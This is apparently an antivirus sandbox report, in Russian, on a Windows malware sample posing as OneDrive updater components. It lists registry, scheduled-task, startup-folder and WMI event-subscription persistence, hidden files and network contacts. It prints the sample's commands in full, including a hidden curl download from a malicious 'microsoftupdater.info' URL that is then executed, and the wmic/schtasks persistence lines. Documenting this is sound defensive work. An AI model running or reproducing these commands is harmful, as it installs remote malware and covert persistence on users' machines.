Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Environment] 'UserInitMprLogonScript' = '%LOCALAPPDATA%\Microsoft\Windows\Personalization\ThemeMonitor.exe'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'OneDriveUpdaterSvc' = '%LOCALAPPDATA%\Microsoft\Windows\Personalization\ThemeMonitor.exe'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'OneDriveUpdaterSvc' = '%LOCALAPPDATA%\Microsoft\Windows\Personalization\ThemeMonitor.exe'
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\onedriveaaawat.exe
- %APPDATA%\microsoft\windows\start menu\programs\startup\onedriveaaawat.exe\:zone.identifier:$data
- <SYSTEM32>\tasks\onedriveupdatescheduler
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\microsoft\onedrive\onedriveupdater.exe
- %APPDATA%\microsoft\onedrive\update\ms874718.exe
- %LOCALAPPDATA%microsoftwindowswebcache\webcachev02.dll
- %LOCALAPPDATA%\microsoft\windows\personalization\thememonitor.exe
- %LOCALAPPDATA%\microsoft\windows\personalization\thememonitor.exe\:zone.identifier:$data
- %TEMP%\content\1564-3356-wmic.exe-22-53-33-271.dump
- %TEMP%\content\1264-3992-wmic.exe-22-53-34-474.dump
- %TEMP%\sc2client_ident.json
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\microsoft\onedrive\onedriveupdater.exe
- %APPDATA%\microsoft\onedrive\update\ms874718.exe
- %LOCALAPPDATA%\microsoft\windows\personalization\thememonitor.exe
- %APPDATA%\microsoft\windows\start menu\programs\startup\onedriveaaawat.exe
Удаляет файлы, которые сам же создал
- %APPDATA%\microsoft\onedrive\update\ms874718.exe
Сетевая активность
Подключается к
- 'mi#####ftupdater.info':443
- 'x1.#.lencr.org':80
- 'yr.#.lencr.org':80
- 'yr#.#.lencr.org':80
- 'mi#####ftupdater.info':80
TCP
Запросы HTTP GET
- http://yr.#.lencr.org/
- http://yr#.#.lencr.org/95.crl
Другие
- 'mi#####ftupdater.info':443
- 'mi#####ftupdater.info':80
UDP
- DNS ASK mi#####ftupdater.info
- DNS ASK x1.#.lencr.org
- DNS ASK yr.#.lencr.org
- DNS ASK yr#.#.lencr.org
Другое
Создает и запускает на исполнение
- '%APPDATA%\microsoft\onedrive\update\ms874718.exe'
Запускает на исполнение
- '<SYSTEM32>\curl.exe' -L -s -o "%APPDATA%\Microsoft\OneDrive\Update\ms874718.exe" "https://microsoftupdater.info/dl/79649bc7-c772-48ea-830f-9bdccb5b951c/client.exe" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "OneDriveUpdateScheduler" /tr "\"%LOCALAPPDATA%\Microsoft\Windows\Personalization\ThemeMonitor.exe\"" /rl highest /sc onlogon /ru "user" /delay 0000:30 /f (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn "OneDriveUpdateScheduler" /tr "\"%LOCALAPPDATA%\Microsoft\Windows\Personalization\ThemeMonitor.exe\"" /rl highest /sc onlogon /ru "user" /delay 0000:30 /f
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="SCStormFlt",EventNameSpace="root\cimv2",QueryLanguage="WQL",Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 W... (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\subscription PATH __EventFilter CREATE Name="SCStormFlt",EventNameSpace="root\cimv2",QueryLanguage="WQL",Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE Tar...
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="SCStormCon",CommandLineTemplate="\"%LOCALAPPDATA%\Microsoft\Windows\Personalization\ThemeMonitor.exe\"" (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="SCStormCon",CommandLineTemplate="\"%LOCALAPPDATA%\Microsoft\Windows\Personalization\ThemeMonitor.exe\""
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"SCStormFlt\"",Consumer="CommandLineEventConsumer.Name=\"SCStormCon\"" (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"SCStormFlt\"",Consumer="CommandLineEventConsumer.Name=\"SCStormCon\""
- '%APPDATA%\microsoft\onedrive\update\ms874718.exe' (со скрытым окном)
Использует альтернативные потоки данных NTFS
